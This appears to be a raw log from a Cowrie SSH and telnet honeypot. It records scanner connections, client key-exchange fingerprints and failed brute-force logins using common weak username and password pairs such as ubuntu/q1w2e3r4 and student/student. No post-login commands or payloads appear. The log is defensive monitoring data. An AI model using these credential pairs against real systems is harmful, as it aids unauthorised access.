{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:26.553453Z","src_ip":"213.209.159.158","session":"25797e5751ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:26.635252Z","src_ip":"213.209.159.158","session":"25797e5751ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arie","password":"arie","message":"login attempt [arie/arie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:26.880654Z","src_ip":"213.209.159.158","session":"25797e5751ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:27.963624Z","src_ip":"213.209.159.158","session":"25797e5751ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":45292,"dst_ip":"10.17.0.5","dst_port":22,"session":"73eb422feec2","protocol":"ssh","message":"New connection: 64.227.144.233:45292 (10.17.0.5:22) [session: 73eb422feec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:29.915686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:29.918711Z","src_ip":"64.227.144.233","session":"73eb422feec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:30.134772Z","src_ip":"64.227.144.233","session":"73eb422feec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdnt","password":"rdnt1","message":"login attempt [rdnt/rdnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:30.569947Z","src_ip":"64.227.144.233","session":"73eb422feec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:31.787492Z","src_ip":"64.227.144.233","session":"73eb422feec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52574,"dst_ip":"10.17.0.5","dst_port":22,"session":"d95bf4414fe9","protocol":"ssh","message":"New connection: 2.57.122.238:52574 (10.17.0.5:22) [session: d95bf4414fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:28:55.224676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:28:55.229080Z","src_ip":"2.57.122.238","session":"d95bf4414fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:28:55.332189Z","src_ip":"2.57.122.238","session":"d95bf4414fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:28:55.641528Z","src_ip":"2.57.122.238","session":"d95bf4414fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:28:56.746382Z","src_ip":"2.57.122.238","session":"d95bf4414fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":54374,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a23bf23994","protocol":"ssh","message":"New connection: 92.118.39.95:54374 (159.203.135.109:22) [session: 40a23bf23994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:29:11.109140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:29:11.114800Z","src_ip":"92.118.39.95","session":"40a23bf23994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:29:11.219610Z","src_ip":"92.118.39.95","session":"40a23bf23994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4","message":"login attempt [ubuntu/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:29:11.578561Z","src_ip":"92.118.39.95","session":"40a23bf23994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:29:12.683836Z","src_ip":"92.118.39.95","session":"40a23bf23994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":33670,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa0ebcb4db1f","protocol":"telnet","message":"New connection: 130.12.180.174:33670 (10.17.0.5:23) [session: fa0ebcb4db1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:30:30.389738Z"}
{"eventid":"cowrie.session.closed","duration":0.5871551036834717,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:30:30.976749Z","src_ip":"130.12.180.174","session":"fa0ebcb4db1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49148,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4592ebee4a","protocol":"ssh","message":"New connection: 2.57.122.238:49148 (10.17.0.5:22) [session: bb4592ebee4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:06.089492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:06.094547Z","src_ip":"2.57.122.238","session":"bb4592ebee4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:06.198545Z","src_ip":"2.57.122.238","session":"bb4592ebee4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:06.509303Z","src_ip":"2.57.122.238","session":"bb4592ebee4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:07.615109Z","src_ip":"2.57.122.238","session":"bb4592ebee4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"3742019a56ad","protocol":"ssh","message":"New connection: 92.118.39.95:44060 (159.203.135.109:22) [session: 3742019a56ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:22.100913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:22.107123Z","src_ip":"92.118.39.95","session":"3742019a56ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:22.207888Z","src_ip":"92.118.39.95","session":"3742019a56ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:22.624253Z","src_ip":"92.118.39.95","session":"3742019a56ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:31:23.732987Z","src_ip":"92.118.39.95","session":"3742019a56ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.172.21","src_port":50556,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd870179db3f","protocol":"ssh","message":"New connection: 45.79.172.21:50556 (10.17.0.5:22) [session: bd870179db3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:10.016340Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:10.021101Z","src_ip":"45.79.172.21","session":"bd870179db3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:10.024691Z","src_ip":"45.79.172.21","session":"bd870179db3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.172.21","src_port":50566,"dst_ip":"10.17.0.5","dst_port":22,"session":"7166e7b03426","protocol":"ssh","message":"New connection: 45.79.172.21:50566 (10.17.0.5:22) [session: 7166e7b03426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:10.029948Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003$=s\u001c\\xa3Sl\\xdfH4UA\\xf8\u077f\\xac.D\\x9c\\x80\\xdd;\\xc17hsy*f\\xf5O\\x8c\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003$=s\u001c\\xa3Sl\\xdfH4UA\\xf8\u077f\\xac.D\\x9c\\x80\\xdd;\\xc17hsy*f\\xf5O\\x8c\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:10.034161Z","src_ip":"45.79.172.21","session":"7166e7b03426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:10.037992Z","src_ip":"45.79.172.21","session":"7166e7b03426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58522,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b498cb75a17","protocol":"ssh","message":"New connection: 162.120.6.20:58522 (10.17.0.5:22) [session: 3b498cb75a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:53.678164Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:53.750231Z","src_ip":"162.120.6.20","session":"3b498cb75a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":58538,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3722cfb90e","protocol":"ssh","message":"New connection: 162.120.6.20:58538 (10.17.0.5:22) [session: ff3722cfb90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:53.817261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:53.821227Z","src_ip":"162.120.6.20","session":"ff3722cfb90e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:53.891278Z","src_ip":"162.120.6.20","session":"ff3722cfb90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:54.112234Z","src_ip":"162.120.6.20","session":"ff3722cfb90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:32:55.184177Z","src_ip":"162.120.6.20","session":"ff3722cfb90e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"df2f7e165e18","protocol":"ssh","message":"New connection: 2.57.122.238:48194 (10.17.0.5:22) [session: df2f7e165e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:33:27.737788Z"}
